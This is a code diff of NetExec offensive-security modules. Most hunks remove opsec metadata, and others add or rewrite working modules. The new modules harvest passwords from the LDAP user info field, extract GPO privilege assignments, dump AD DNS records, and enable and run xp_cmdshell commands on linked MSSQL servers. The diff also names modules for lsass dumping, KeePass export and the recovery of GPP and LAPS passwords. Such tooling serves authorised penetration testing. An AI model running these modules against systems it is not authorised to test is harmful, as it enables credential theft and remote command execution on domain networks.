resolv = connection.resolver(answer[0])
if resolv:
context.log.highlight(f"{answer[0]} ({answer[1]}) ({resolv['host']})")
context.log.debug("IP found via DNS query")
else:
context.log.debug(f"No DNS response for {answer[0]}")
context.log.highlight(f"{answer[0]} ({answer[1]}) (No IP Found)")
else:
context.log.success(f"Unable to find any computers with the text {self.TEXT}")
-2
View File
@@ -12,8 +12,6 @@ class NXCModule:
name = "firefox"
description = "[REMOVED] Dump credentials from Firefox"
supported_protocols = ["smb"]
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def options(self, context, module_options):
"""
-2
View File
@@ -13,8 +13,6 @@ class NXCModule:
name = "get-desc-users"
description = "Get description of the users. May contained password"
supported_protocols = ["ldap"]
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def options(self, context, module_options):
"""
+44
View File
@@ -0,0 +1,44 @@
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""
Get the info field of users
Module by @sepauli
"""
name = "get-info-users"
description = "Get the info field of all users. May contain password"
supported_protocols = ["ldap"]
def options(self, context, module_options):
"""FILTER Apply the FILTER (grep-like) (default: '')"""
self.FILTER = ""
if "FILTER" in module_options:
self.FILTER = module_options["FILTER"]
def on_login(self, context, connection):
# Building the search filter
resp = connection.search(
searchFilter="(info=*)",
attributes=["sAMAccountName", "info"]
)
context.log.debug(f"Total of records returned {len(resp)}")
resp_parsed = parse_result_attributes(resp)
answers = [[x["sAMAccountName"], x["info"]] for x in resp_parsed]
answers = self.filter_answer(context, answers)
if answers:
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight(f"User: {answer[0]:<20} Info: {answer[1]}")
def filter_answer(self, context, answers):
# No option to filter
if not self.FILTER:
context.log.debug("No filter option enabled")
return answers
# Filter
context.log.debug(f"Filter info field with: {self.FILTER}")
return [answer for answer in answers if self.FILTER in answer[1]]
+42 -72
View File
@@ -2,18 +2,16 @@
# Credit to https://github.com/dirkjanm/adidnsdump @_dirkjan
# module by @mpgn_x64
import re
from os.path import expanduser
import codecs
import socket
from datetime import datetime
from struct import unpack
import dns.name
import dns.resolver
from impacket.ldap import ldap
from impacket.structure import Structure
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from ldap3 import LEVEL
from os.path import expanduser
from nxc.paths import NXC_PATH
from nxc.parsers.ldap_results import parse_result_attributes
def get_dns_zones(connection, root, debug=False):
@@ -26,25 +24,8 @@ def get_dns_zones(connection, root, debug=False):
return zones
def get_dns_resolver(server, context):
# Create a resolver object
dnsresolver = dns.resolver.Resolver()
# Is our host an IP? In that case make sure the server IP is used
# if not assume lookups are working already
try:
if server.startswith("ldap://"):
server = server[7:]
if server.startswith("ldaps://"):
server = server[8:]
socket.inet_aton(server)
dnsresolver.nameservers = [server]
except OSError:
context.info("Using System DNS to resolve unknown entries. Make sure resolving your target domain works here or specify an IP as target host to use that server for queries")
return dnsresolver
def ldap2domain(ldap):
return re.sub(",DC=", ".", ldap[ldap.lower().find("dc="):], flags=re.I)[3:]
def ldap2domain(baseDN):
return re.sub(r",DC=", ".", baseDN[baseDN.lower().find("dc="):], flags=re.IGNORECASE)[3:]
def new_record(rtype, serial):
@@ -65,28 +46,28 @@ RECORD_TYPE_MAPPING = {
5: "CNAME",
6: "SOA",
12: "PTR",
# 15: 'MX',
# 16: 'TXT',
15: "MX",
16: "TXT",
28: "AAAA",
33: "SRV",
}
def searchResEntry_to_dict(results):
data = {}
for attr in results["attributes"]:
key = str(attr["type"])
value = str(attr["vals"][0])
data[key] = value
return data
ZERO = 0
A = 1
NS = 2
CNAME = 5
SOA = 6
PTR = 12
MX = 15
TXT = 16
AAAA = 28
SRV = 33
class NXCModule:
name = "get-network"
description = "Query all DNS records with the corresponding IP from the domain."
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
@@ -95,18 +76,12 @@ class NXCModule:
"""
self.showall = False
self.showhosts = False
self.showip = True
if module_options and "ALL" in module_options:
if module_options["ALL"].lower() == "true" or module_options["ALL"] == "1":
self.showall = True
else:
print("Could not parse ALL option.")
if module_options and "IP" in module_options:
if module_options["IP"].lower() == "true" or module_options["IP"] == "1":
self.showip = True
else:
print("Could not parse ONLY_HOSTS option.")
if module_options and "ONLY_HOSTS" in module_options:
if module_options["ONLY_HOSTS"].lower() == "true" or module_options["ONLY_HOSTS"] == "1":
self.showhosts = True
@@ -118,38 +93,27 @@ class NXCModule:
dns_root = f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}"
search_target = f"DC={zone},{dns_root}"
context.log.display("Querying zone for records")
sfilter = "(DC=*)"
try:
list_sites = connection.ldap_connection.search(
searchBase=search_target,
searchFilter=sfilter,
attributes=["dnsRecord", "dNSTombstoned", "name"],
sizeLimit=100000,
)
except ldap.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
list_sites = e.getAnswers()
else:
raise
get_dns_resolver(connection.host, context.log)
list_sites = connection.search(
searchFilter="(DC=*)",
attributes=["dnsRecord", "dNSTombstoned", "name"],
baseDN=search_target,
)
list_sites_parsed = parse_result_attributes(list_sites)
outdata = []
for item in list_sites:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
site = searchResEntry_to_dict(item)
for site in list_sites_parsed:
recordname = site["name"]
if "dnsRecord" in site:
record = bytes(site["dnsRecord"].encode("latin1"))
dr = DNS_RECORD(record)
if RECORD_TYPE_MAPPING[dr["Type"]] == "A":
if dr["Type"] == 1:
if isinstance(site["dnsRecord"], list): # noqa: SIM108
records = [bytes(r) for r in site["dnsRecord"]]
else:
records = [bytes(site["dnsRecord"])]
for record in records:
dr = DNS_RECORD(record)
if dr["Type"] == A:
address = DNS_RPC_RECORD_A(dr["Data"])
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
outdata.append(
@@ -159,17 +123,18 @@ class NXCModule:
"value": address.formatCanonical(),
}
)
if dr["Type"] in [a for a in RECORD_TYPE_MAPPING if RECORD_TYPE_MAPPING[a] in ["CNAME", "NS", "PTR"]]:
# Skip without "ALL" and "ONLY_HOSTS" => only IPs
elif dr["Type"] in [CNAME, NS, PTR] and (self.showall or self.showhosts):
address = DNS_RPC_RECORD_NODE_NAME(dr["Data"])
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
outdata.append(
{
"name": recordname,
"type": RECORD_TYPE_MAPPING[dr["Type"]],
"value": address[next(iter(address.fields))].toFqdn(),
"value": address["nameNode"].toFqdn(),
}
)
elif dr["Type"] == 28:
elif dr["Type"] == AAAA:
address = DNS_RPC_RECORD_AAAA(dr["Data"])
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
outdata.append(
@@ -180,8 +145,13 @@ class NXCModule:
}
)
# Filter duplicate IPs if "ALL" and "ONLY_HOSTS" are not set
if not (self.showall or self.showhosts):
seen_ips = set()
outdata = [x for x in outdata if not (x["value"] in seen_ips or seen_ips.add(x["value"]))]
context.log.highlight(f"Found {len(outdata)} records")
path = expanduser(f"~/.nxc/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
path = expanduser(f"{NXC_PATH}/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
with codecs.open(path, "w", "utf-8") as outfile:
for row in outdata:
if self.showhosts:
-2
View File
@@ -12,8 +12,6 @@ class NXCModule:
name = "get-unixUserPassword"
description = "Get unixUserPassword attribute from all users in ldap"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
-2
View File
@@ -12,8 +12,6 @@ class NXCModule:
name = "get-userPassword"
description = "Get userPassword attribute from all users in ldap"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
+3 -4
View File
@@ -1,5 +1,6 @@
from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.paths import NXC_PATH
import json
@@ -13,11 +14,9 @@ class NXCModule:
name = "get_netconnections"
description = "Uses WMI to query network connections."
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""No options"""
"""No options available"""
def on_admin_login(self, context, connection):
data = []
@@ -31,4 +30,4 @@ class NXCModule:
log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
write_log(json.dumps(data), log_name)
context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
-2
View File
@@ -11,8 +11,6 @@ class NXCModule:
name = "gpp_autologin"
description = "Searches the domain controller for registry.xml to find autologon information and returns the username and password."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
""" """
-2
View File
@@ -14,8 +14,6 @@ class NXCModule:
name = "gpp_password"
description = "Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
""" """
+257
View File
@@ -0,0 +1,257 @@
import ssl
import ldap3
import re
from io import BytesIO
class NXCModule:
"""
Module to retrieve privileges assigned via Group Policy Objects (GPOs) by parsing GptTmpl.inf files
and resolving SIDs using LDAP.
"""
name = "gpp_privileges"
description = "Extracts privileges assigned via GPOs and resolves SIDs via LDAP."
supported_protocols = ["smb"]
WELL_KNOWN_SIDS = {
"S-1-0": "Null Authority",
"S-1-0-0": "Nobody",
"S-1-1": "World Authority",
"S-1-1-0": "Everyone",
"S-1-2": "Local Authority",
"S-1-2-0": "Local",
"S-1-2-1": "Console Logon",
"S-1-3": "Creator Authority",
"S-1-3-0": "Creator Owner",
"S-1-3-1": "Creator Group",
"S-1-3-2": "Creator Owner Server",
"S-1-3-3": "Creator Group Server",
"S-1-3-4": "Owner Rights",
"S-1-5-80-0": "All Services",
"S-1-4": "Non-unique Authority",
"S-1-5": "NT Authority",
"S-1-5-1": "Dialup",
"S-1-5-2": "Network",
"S-1-5-3": "Batch",
"S-1-5-4": "Interactive",
"S-1-5-6": "Service",
"S-1-5-7": "Anonymous",
"S-1-5-8": "Proxy",
"S-1-5-9": "Enterprise Domain Controllers",
"S-1-5-10": "Principal Self",
"S-1-5-11": "Authenticated Users",
"S-1-5-12": "Restricted Code",
"S-1-5-13": "Terminal Server Users",
"S-1-5-14": "Remote Interactive Logon",
"S-1-5-15": "This Organization",
"S-1-5-17": "This Organization",
"S-1-5-18": "Local System",
"S-1-5-19": "NT Authority",
"S-1-5-20": "NT Authority",
"S-1-5-32-544": "Administrators",
"S-1-5-32-545": "Users",
"S-1-5-32-546": "Guests",
"S-1-5-32-547": "Power Users",
"S-1-5-32-548": "Account Operators",
"S-1-5-32-549": "Server Operators",
"S-1-5-32-550": "Print Operators",
"S-1-5-32-551": "Backup Operators",
"S-1-5-32-552": "Replicators",
"S-1-5-64-10": "NTLM Authentication",
"S-1-5-64-14": "SChannel Authentication",
"S-1-5-64-21": "Digest Authority",
"S-1-5-80": "NT Service",
"S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
"S-1-16-0": "Untrusted Mandatory Level",
"S-1-16-4096": "Low Mandatory Level",
"S-1-16-8192": "Medium Mandatory Level",
"S-1-16-8448": "Medium Plus Mandatory Level",
"S-1-16-12288": "High Mandatory Level",
"S-1-16-16384": "System Mandatory Level",
"S-1-16-20480": "Protected Process Mandatory Level",
"S-1-16-28672": "Secure Process Mandatory Level",
"S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
"S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
"S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
"S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
"S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
"S-1-5-32-559": "BUILTIN\\Performance Log Users",
"S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
"S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
"S-1-5-32-562": "BUILTIN\\Distributed COM Users",
"S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
"S-1-5-32-573": "BUILTIN\\Event Log Readers",
"S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
"S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
"S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
"S-1-5-32-577": "BUILTIN\\RDS Management Servers",
"S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
"S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
"S-1-5-32-580": "BUILTIN\\Remote Management Users",
}
def options(self, context, module_options):
"""NO_LDAP If set to True, disables LDAP queries for resolving SIDs."""
self.no_ldap = module_options.get("NO_LDAP", False)
def on_login(self, context, connection):
try:
connection.conn.listPath("SYSVOL", "*")
except Exception as e:
context.log.fail(f"Failed to list shares: {e}")
return
context.log.display("Searching for GptTmpl.inf files")
paths = connection.spider("SYSVOL", pattern=["GptTmpl.inf"])
if not paths:
context.log.warning("No GptTmpl.inf files found in SYSVOL.")
return
for path in paths:
if "6AC1786C-016F-11D2-945F-00C04fB984F9" in path: # Default Domain Policy
context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
else:
context.log.info(f"Found GptTmpl.inf: {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
try:
content = buf.getvalue().decode("utf-16le")
except UnicodeDecodeError as e:
context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
continue
privileges = self.extract_privileges(content)
if privileges:
ldap_connection = None
if not self.no_ldap:
ldap_connection = self.initialize_ldap_connection(context, connection)
context.log.success(f"Privileges extracted from {path}:")
for privilege, sids in privileges.items():
resolved_sids = [self.resolve_sid(context, sid, ldap_connection) for sid in sids]
context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
if ldap_connection:
ldap_connection.unbind()
def extract_privileges(self, content):
"""Parses the content of GptTmpl.inf to extract privilege rights."""
privileges = {}
in_priv_section = False
for line in content.splitlines():
if line.strip() == "[Privilege Rights]":
in_priv_section = True
continue
if in_priv_section and line.strip() == "":
break
if in_priv_section:
match = re.match(r"^(.*?)\s*=\s*(.*)$", line)
if match:
privilege, sids = match.groups()
privileges[privilege] = [sid.strip("*") for sid in sids.split(",")]
return privileges
def initialize_ldap_connection(self, context, connection):
"""
Initializes an LDAP connection using LDAP3 with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
Attempts to retrieve the base DN from the Root DSE or derive it from the domain name.
"""
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
base_dn = None
try:
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, tls=tls, get_info=ldap3.ALL)
ldap_connection = ldap3.Connection(
ldap_server,
user=f"{connection.domain}\\{connection.username}",
password=connection.password,
authentication=ldap3.NTLM,
raise_exceptions=True,
)
ldap_connection.bind()
context.log.success("Connected to LDAP over SSL (LDAPS).")
try:
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
except Exception as e:
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
if not base_dn:
domain_parts = connection.domain.split(".")
base_dn = ",".join([f"dc={part}" for part in domain_parts])
context.log.info(f"Derived base DN: {base_dn}")
ldap_connection.base_dn = base_dn
return ldap_connection
except Exception as ldaps_error:
context.log.warning(f"LDAPS connection failed: {ldaps_error}")
context.log.info("Falling back to plain LDAP...")
try:
ldap_server = ldap3.Server(connection.host, use_ssl=False, port=389, get_info=ldap3.ALL)
ldap_connection = ldap3.Connection(
ldap_server,
user=f"{connection.domain}\\{connection.username}",
password=connection.password,
authentication=ldap3.NTLM,
raise_exceptions=True,
)
ldap_connection.bind()
context.log.info("Connected to LDAP successfully (plaintext).")
try:
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
except Exception as e:
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
if not base_dn:
domain_parts = connection.domain.split(".")
base_dn = ",".join([f"dc={part}" for part in domain_parts])
context.log.info(f"Derived base DN: {base_dn}")
ldap_connection.base_dn = base_dn
return ldap_connection
except Exception as ldap_error:
context.log.error(f"Failed to connect to LDAP: {ldap_error}")
return None
def resolve_sid(self, context, sid, ldap_connection):
"""Resolves a SID to a human-readable name using well-known mappings or LDAP queries."""
if sid in self.WELL_KNOWN_SIDS:
return self.WELL_KNOWN_SIDS[sid]
if ldap_connection and ldap_connection.bound:
try:
base_dn = getattr(ldap_connection, "base_dn", None)
if not base_dn:
context.log.warning(f"No base DN found for LDAP connection. Cannot resolve SID {sid}.")
return sid
search_filter = f"(objectSid={ldap3.utils.conv.escape_filter_chars(sid)})"
ldap_connection.search(
search_base=base_dn,
search_filter=search_filter,
attributes=["sAMAccountName"],
)
if ldap_connection.entries:
entry = ldap_connection.entries[0]
return f"{entry['sAMAccountName']}"
else:
context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
except Exception as e:
context.log.error(f"Failed to resolve SID {sid} via LDAP: {e}")
else:
context.log.warning(f"LDAP connection not established or unbound. Returning raw SID: {sid}")
return sid
+1 -2
View File
@@ -13,8 +13,7 @@ class NXCModule:
name = "group-mem"
description = "[REMOVED] Retrieves all the members within a Group"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
primaryGroupID = ""
answers = []
-2
View File
@@ -15,8 +15,6 @@ class NXCModule:
name = "groupmembership"
description = "Query the groups to which a user belongs."
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""USER Choose a username to query group membership"""
-2
View File
@@ -14,8 +14,6 @@ class NXCModule:
name = "handlekatz"
description = "Get lsass dump using handlekatz64 and parse the result with pypykatz"
supported_protocols = ["smb"]
opsec_safe = False
multiple_hosts = True
def options(self, context, module_options):
r"""
-2
View File
@@ -130,8 +130,6 @@ class NXCModule:
name = "hash_spider"
description = "Dump lsass recursively from a given hash using BH to find local admins"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
-2
View File
@@ -9,8 +9,6 @@ class NXCModule:
name = "hyperv-host"
description = "Performs a registry query on the VM to lookup its HyperV Host"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
-2
View File
@@ -8,8 +8,6 @@ class NXCModule:
name = "iis"
description = "Checks for credentials in IIS Application Pool configuration files using appcmd.exe"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
pass
-2
View File
@@ -14,8 +14,6 @@ class NXCModule:
name = "impersonate"
description = "List and impersonate tokens to run command as locally logged on users"
supported_protocols = ["smb"]
opsec_safe = True # could be flagged
multiple_hosts = True
def options(self, context, module_options):
"""
-2
View File
@@ -7,8 +7,6 @@ class NXCModule:
name = "install_elevated"
description = "Checks for AlwaysInstallElevated"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
""" """
-2
View File
@@ -13,8 +13,6 @@ class NXCModule:
name = "ioxidresolver"
description = "This module helps you to identify hosts that have additional active interfaces"
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""DIFFERENT show only ip address if different from target ip (Default: False)"""
-2
View File
@@ -12,8 +12,6 @@ class NXCModule:
name = "keepass_discover"
description = "Search for KeePass-related files and process."
supported_protocols = ["smb"]
opsec_safe = True # only legitimate commands are executed on the remote host (search process and files)
multiple_hosts = True
def __init__(self):
self.search_type = "ALL"
+5 -6
View File
@@ -4,8 +4,9 @@ from time import sleep
from csv import reader
from base64 import b64encode
from io import BytesIO, StringIO
from xml.etree import ElementTree
from xml.etree import ElementTree as ET
from nxc.helpers.powershell import get_ps_script
from nxc.paths import TMP_PATH
class NXCModule:
@@ -23,8 +24,6 @@ class NXCModule:
# while the module only executes legit powershell commands on the target (search and edit files)
# some EDR like Trend Micro flag base64-encoded powershell as malicious
# the option PSH_EXEC_METHOD can be used to avoid such execution, and will drop scripts on the target
opsec_safe = False
multiple_hosts = False
def __init__(self):
# module options
@@ -39,7 +38,7 @@ class NXCModule:
self.share = "C$"
self.remote_temp_script_path = "C:\\Windows\\Temp\\temp.ps1"
self.keepass_binary_path = "C:\\Program Files\\KeePass Password Safe 2\\KeePass.exe"
self.local_export_path = "/tmp"
self.local_export_path = TMP_PATH
self.trigger_name = "export_database"
self.poll_frequency_seconds = 5
self.dummy_service_name = "OneDrive Sync KeePass"
@@ -358,7 +357,7 @@ class NXCModule:
sys.exit(1)
try:
keepass_config_xml_root = ElementTree.fromstring(buffer.getvalue())
keepass_config_xml_root = ET.fromstring(buffer.getvalue())
except Exception as e:
context.log.fail(f"Error while parsing file '{self.keepass_config_path}', exiting: {e}")
sys.exit(1)
@@ -377,7 +376,7 @@ class NXCModule:
def extract_password(self, context):
xml_doc_path = os.path.abspath(self.local_export_path + "/" + self.export_name)
xml_tree = ElementTree.parse(xml_doc_path)
xml_tree = ET.parse(xml_doc_path)
root = xml_tree.getroot()
root_entries = root.find("./Root/Entry")
-2
View File
@@ -17,8 +17,6 @@ class NXCModule:
name = "laps"
description = "Retrieves all LAPS passwords which the account has read permissions for."
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
"""COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *"""
+3 -4
View File
@@ -23,10 +23,8 @@ class NXCModule:
Original work thankfully taken from @zyn3rgy's Ldap Relay Scan project: https://github.com/zyn3rgy/LdapRelayScan
"""
name = "ldap-checker"
description = "Checks whether LDAP signing and channel binding are required and / or enforced"
description = "[REMOVED] Checks whether LDAP signing and channel binding are required and / or enforced"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""No options available."""
@@ -112,7 +110,6 @@ class NXCModule:
context.log.fail(f"Exception in run_ldaps_withEPA: {e}")
return None
# Domain Controllers do not have a certificate setup for
# LDAPS on port 636 by default. If this has not been setup,
# the TLS handshake will hang and you will not be able to
@@ -174,6 +171,8 @@ class NXCModule:
# Determine authentication context and proceed to
# enumerate LDAP signing and channel binding settings
def on_login(self, context, connection):
context.log.fail("[REMOVED] Now natively supported in the host banner")
return
stype = asyauthSecret.PASS
secret = connection.password
if connection.nthash:
+99
View File
@@ -0,0 +1,99 @@
class NXCModule:
"""
Enable or disable xp_cmdshell on a linked MSSQL server
Module by deathflamingo
"""
name = "link_enable_cmdshell"
description = "Enable or disable xp_cmdshell on a linked MSSQL server"
supported_protocols = ["mssql"]
def __init__(self):
self.action = None
self.linked_server = None
def options(self, context, module_options):
"""
Defines the options for enabling or disabling xp_cmdshell on the linked server.
ACTION Specifies whether to enable or disable:
- enable (default)
- disable
LINKED_SERVER The name of the linked SQL server to target.
"""
self.action = module_options.get("ACTION", "enable")
self.linked_server = module_options.get("LINKED_SERVER")
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
# Store the original state of options that have to be enabled/disabled in order to restore them later
self.backuped_options = {}
if not self.linked_server:
self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.")
return
# Enable or disable xp_cmdshell based on action
if self.action == "enable":
self.enable_xp_cmdshell()
elif self.action == "disable":
self.disable_xp_cmdshell()
else:
self.context.log.fail(f"Unknown action: {self.action}")
def enable_xp_cmdshell(self):
"""Enable xp_cmdshell on the linked server."""
self.backup_and_enable("advanced options")
current_value = self.is_option_enabled("xp_cmdshell")
self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}. Current value: {current_value}")
self.mssql_conn.sql_query(f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]")
self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}")
self.restore("advanced options")
def disable_xp_cmdshell(self):
"""Disable xp_cmdshell on the linked server."""
self.backup_and_enable("advanced options")
current_value = self.is_option_enabled("xp_cmdshell")
self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}. Current value: {current_value}")
self.mssql_conn.sql_query(f"EXEC ('sp_configure xp_cmdshell, 0; RECONFIGURE;') AT [{self.linked_server}]")
self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}")
self.restore("advanced options")
# Adapting methods from MSSQLEXEC for backup and restore functionality
def restore(self, option):
try:
if not self.backuped_options[option]:
self.context.log.debug(f"Option '{option}' was not enabled on {self.linked_server} originally, attempting to disable it.")
query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\", 0;RECONFIGURE;') AT [{self.linked_server}]"
self.context.log.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
else:
self.context.log.debug(f"Option '{option}' was originally enabled on {self.linked_server}, leaving it enabled.")
except Exception as e:
self.context.log.error(f"[OPSEC] Error when attempting to restore option '{option}' on {self.linked_server}: {e}")
def backup_and_enable(self, option):
try:
self.backuped_options[option] = self.is_option_enabled(option)
if not self.backuped_options[option]:
self.context.log.debug(f"Option '{option}' is disabled on {self.linked_server}, attempting to enable it.")
query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\", 1;RECONFIGURE;') AT [{self.linked_server}]"
self.context.log.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
else:
self.context.log.debug(f"Option '{option}' is already enabled on {self.linked_server}.")
except Exception as e:
self.context.log.error(f"Error when checking/enabling option '{option}' on {self.linked_server}: {e}")
def is_option_enabled(self, option):
query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\";') AT [{self.linked_server}]"
self.context.log.debug(f"Checking if {option} is enabled on {self.linked_server}: {query}")
result = self.mssql_conn.sql_query(query)
# Assuming the query returns a list of dictionaries with 'config_value' as the key
self.context.log.debug(f"{option} check result: {result}")
return bool(result and result[0]["config_value"] == 1)
-63
View File
@@ -1,63 +0,0 @@
class NXCModule:
"""
Enable or disable xp_cmdshell on a linked SQL server
Module by deathflamingo
"""
name = "link_enable_xp"
description = "Enable or disable xp_cmdshell on a linked SQL server"
supported_protocols = ["mssql"]
opsec_safe = False
multiple_hosts = False
def __init__(self):
self.action = None
self.linked_server = None
def options(self, context, module_options):
"""
Defines the options for enabling or disabling xp_cmdshell on the linked server.
ACTION Specifies whether to enable or disable:
- enable (default)
- disable
LINKED_SERVER The name of the linked SQL server to target.
"""
self.action = module_options.get("ACTION", "enable")
self.linked_server = module_options.get("LINKED_SERVER")
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if not self.linked_server:
self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.")
return
# Enable or disable xp_cmdshell based on action
if self.action == "enable":
self.enable_xp_cmdshell()
elif self.action == "disable":
self.disable_xp_cmdshell()
else:
self.context.log.fail(f"Unknown action: {self.action}")
def enable_xp_cmdshell(self):
"""Enable xp_cmdshell on the linked server."""
query = f"EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [{self.linked_server}]"
self.context.log.display(f"Enabling advanced options on {self.linked_server}...")
out = self.query_and_get_output(query)
query = f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]"
self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}...")
out = self.query_and_get_output(query)
self.context.log.display(out)
self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}")
def disable_xp_cmdshell(self):
"""Disable xp_cmdshell on the linked server."""
query = f"EXEC ('sp_configure ''xp_cmdshell'', 0; RECONFIGURE; sp_configure ''show advanced options'', 0; RECONFIGURE;') AT [{self.linked_server}]"
self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}...")
self.query_and_get_output(query)
self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}")
def query_and_get_output(self, query):
"""Executes a query and returns the output."""
return self.mssql_conn.sql_query(query)
+19 -14
View File
@@ -7,8 +7,6 @@ class NXCModule:
name = "link_xpcmd"
description = "Run xp_cmdshell commands on a linked SQL server"
supported_protocols = ["mssql"]
opsec_safe = False
multiple_hosts = False
def __init__(self):
self.linked_server = None
@@ -30,15 +28,22 @@ class NXCModule:
self.context.log.fail("Please provide both LINKED_SERVER and CMD options.")
return
self.run_xp_cmdshell(self.command)
def run_xp_cmdshell(self, cmd):
"""Run the specified command via xp_cmdshell on the linked server."""
query = f"EXEC ('xp_cmdshell ''{cmd}''') AT [{self.linked_server}]"
self.context.log.display(f"Running command on {self.linked_server}: {cmd}")
result = self.query_and_get_output(query)
self.context.log.success(f"Command output:\n{result}")
def query_and_get_output(self, query):
"""Executes a query and returns the output."""
return self.mssql_conn.sql_query(query)
self.context.log.display(f"Running command on {self.linked_server}: {self.command}")
query = f"EXEC ('xp_cmdshell ''{self.command}''') AT [{self.linked_server}]"
result = self.mssql_conn.sql_query(query)
if result:
output_lines = []
for row in result:
output_value = row.get("output")
if output_value and output_value != "NULL":
output_lines.append(str(output_value))
if output_lines:
self.context.log.success("Executed command via linked server")
for line in output_lines:
self.context.log.highlight(line.strip())
else:
self.context.log.display("Command executed but returned no output")
else:
self.context.log.fail("No result returned from query")
-2
View File
@@ -16,8 +16,6 @@ class NXCModule:
name = "lsassy"
description = "Dump lsass and parse the result remotely with lsassy"
supported_protocols = ["smb"]
opsec_safe = True # writes temporary files, and it's possible for them to not be deleted
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
-2
View File
@@ -19,8 +19,6 @@ class NXCModule:
name = "maq"
description = "Retrieves the MachineAccountQuota domain-level attribute"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
